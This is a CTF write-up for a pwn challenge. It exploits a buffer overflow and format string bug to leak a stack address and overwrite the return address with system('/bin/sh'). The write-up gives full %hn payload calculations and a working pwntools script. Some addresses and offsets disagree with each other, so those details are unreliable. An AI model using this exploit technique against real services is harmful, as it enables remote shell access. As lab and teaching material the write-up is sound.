F0ndueSav0yarde

AMSI CTF 2025 - Ahahah ! You didn't say the magic word

Category : PWN

Phreaks 2600

You can find this writeup at Phreaks 2600 website

Vulnerability

This was a buffer overflow leading to a format string vuln.
We could leak data and do an arbitrary write because of reflected address in the leak, at position %17$p.

Leak return address

It was possible to leak the return address by overflowing 256 bytes of data and then use a format string : in position %2$p we could leak a random stack address.

This random stack address was 628 bytes away from a return address.

Return address overwrite

Here is the strategy :

Stack elements Offset from EBP Overwrite value
EBP 0 (unused)
Return address 1 4 system (0x80507d0)
Return address 2 8 (unused)
Argument 12 “/bin/sh” (0x80ba34d)

We can do this in 4 writes of 2 bytes each (using %hn specifier) :

Format string vuln exploit

I used 252 bytes of overflow (instead of 256 bytes) before doing the format string vuln exploit (because 4 bytes have already been written because of %2$p). For some reason, we have to substract our bytes values by 12 bytes (because 12 bytes have already been written to stdout but i have no idea when). Here is the payload :

Stack position Total of bytes written (modulo 65535) Format string
return_address 0x27d0 - 12 = 10180 %10180c%17$hn
return_address + 2 (65536 - 10180) + 0x0805 - 12 = 57397 %57397c%18$hn
return_address + 8 (65536 - (10180 + 57397)) + 0xa34d - 12 = 39752 %39752c%19$hn
return_address + 10 65536 - (10180 + 57397 + 39752) % 65536 + 0x80b - 12 = 25790 %25790c%20$hn

Do not blame me for these horrific calculations, i hate format strings even though this is super powerful.

Exploit

 11
 2from pwn import *
 3
 4elf = ELF("GRID_security_panel_cli")
 5p = remote("192.168.1.107",8000)
 6
 7# system @ 0x80527d0
 8# /bin/sh @ 0x80ba34d
 9
10p.recvuntil(b"> ")
11p.sendline(b"A"*256 + b"%2$p")
12stack_retaddr_leak = int(p.recv(4096).decode(),16) + 612 - 0x10
13print(hex(stack_retaddr_leak))
14p.sendline(p32(stack_retaddr_leak) + p32(stack_retaddr_leak + 2) + p32(stack_retaddr_leak + 8) + p32(stack_retaddr_leak + 10) + b'B'*252 + b'%10180c%17$hn%57397c%18$hn%39752c%19$hn%25790c%20$hn')
15p.sendline(b"quit")
16
17p.interactive()